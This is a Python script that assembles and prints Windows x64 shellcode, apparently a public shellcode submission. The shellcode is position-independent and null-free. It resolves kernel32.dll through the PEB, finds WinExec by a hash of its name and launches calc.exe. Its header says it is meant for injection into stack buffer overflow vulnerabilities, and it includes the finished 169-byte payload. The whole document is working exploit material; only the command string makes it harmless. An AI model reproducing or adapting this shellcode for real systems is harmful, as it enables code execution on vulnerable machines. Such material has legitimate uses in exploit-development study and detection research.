import ctypes, struct from keystone import * # Shellcode Author: Senzee # Shellcode Title: Windows/x64 - PIC Null-Free Calc.exe Shellcode (169 Bytes) # Date: 07/26/2023 # Platform: Windows x64 # Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter # OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763 # Shellcode size: 169 bytes # Shellcode Desciption: Windows x64 shellcode that dynamically resolves the base address of kernel32.dll via PEB and ExportTable method. # Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities. CODE = ( "find_kernel32:" " xor rdx, rdx;" " mov rax, gs:[rdx+0x60];" # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address " mov rsi,[rax+0x18];" # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure " mov rsi,[rsi + 0x20];" # RSI is the address of the InMemoryOrderModuleList member in the _PEB_LDR_DATA structure " mov r9, [rsi];" # Current module is python.exe " mov r9, [r9];" # Current module is ntdll.dll " mov r9, [r9+0x20];" # Current module is kernel32.dll " jmp call_winexec;" "parse_module:" # Parsing DLL file in memory " mov ecx, dword ptr [r9 + 0x3c];" # R9 stores the base address of the module, get the NT header offset " xor r15, r15;" " mov r15b, 0x88;" # Offset to Export Directory " add r15, r9;" " add r15, rcx;" " mov r15d, dword ptr [r15];" # Get the RVA of the export directory " add r15, r9;" # R14 stores the VMA of the export directory " mov ecx, dword ptr [r15 + 0x18];" # ECX stores the number of function names as an index value " mov r14d, dword ptr [r15 + 0x20];" # Get the RVA of ENPT " add r14, r9;" # R14 stores the VMA of ENPT "search_function:" # Search for a given function " jrcxz not_found;" # If RCX is 0, the given function is not found " dec ecx;" # Decrease index by 1 " xor rsi, rsi;" " mov esi, [r14 + rcx*4];" # RVA of function name string " add rsi, r9;" # RSI points to function name string "function_hashing:" # Hash function name function " xor rax, rax;" " xor rdx, rdx;" " cld;" # Clear DF flag "iteration:" # Iterate over each byte " lodsb;" # Copy the next byte of RSI to Al " test al, al;" # If reaching the end of the string " jz compare_hash;" # Compare hash " ror edx, 0x0d;" # Part of hash algorithm " add edx, eax;" # Part of hash algorithm " jmp iteration;" # Next byte "compare_hash:" # Compare hash " cmp edx, r8d;" " jnz search_function;" # If not equal, search the previous function (index decreases) " mov r10d, [r15 + 0x24];" # Ordinal table RVA " add r10, r9;" # Ordinal table VMA " movzx ecx, word ptr [r10 + 2*rcx];" # Ordinal value -1 " mov r11d, [r15 + 0x1c];" # RVA of EAT " add r11, r9;" # VMA of EAT " mov eax, [r11 + 4*rcx];" # RAX stores RVA of the function " add rax, r9;" # RAX stores VMA of the function " ret;" "not_found:" " ret;" "call_winexec:" " mov r8d, 0xe8afe98;" # WinExec Hash " call parse_module;" # Search and obtain address of WinExec " xor rcx, rcx;" " push rcx;" # \0 " mov rcx, 0x6578652e636c6163;" # exe.clac " push rcx;" " lea rcx, [rsp];" # Address of the string as the 1st argument lpCmdLine " xor rdx,rdx;" " inc rdx;" # uCmdShow=1 as the 2nd argument " sub rsp, 0x28;" " call rax;" # WinExec ) # Payload size: 169 bytes # buf = b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d" # buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01" # buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01" # buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31" # buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45" # buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b" # buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31" # buf += b"\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2" # buf += b"\x48\xff\xc2\x48\x83\xec\x28\xff\xd0" ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE) print("%d instructions..." % count) sh = b"" for e in encoding: sh += struct.pack("B", e) shellcode = bytearray(sh) sc = "" print("Payload size: "+str(len(encoding))+" bytes") counter = 0 sc = "buf = b\"" for dec in encoding: if counter % 20 == 0 and counter != 0: sc += "\"\nbuf += b\"" sc += "\\x{0:02x}".format(int(dec)) counter += 1 if count % 20 > 0: sc += "\"" print(sc) print("Payload size: "+str(len(encoding))+" bytes")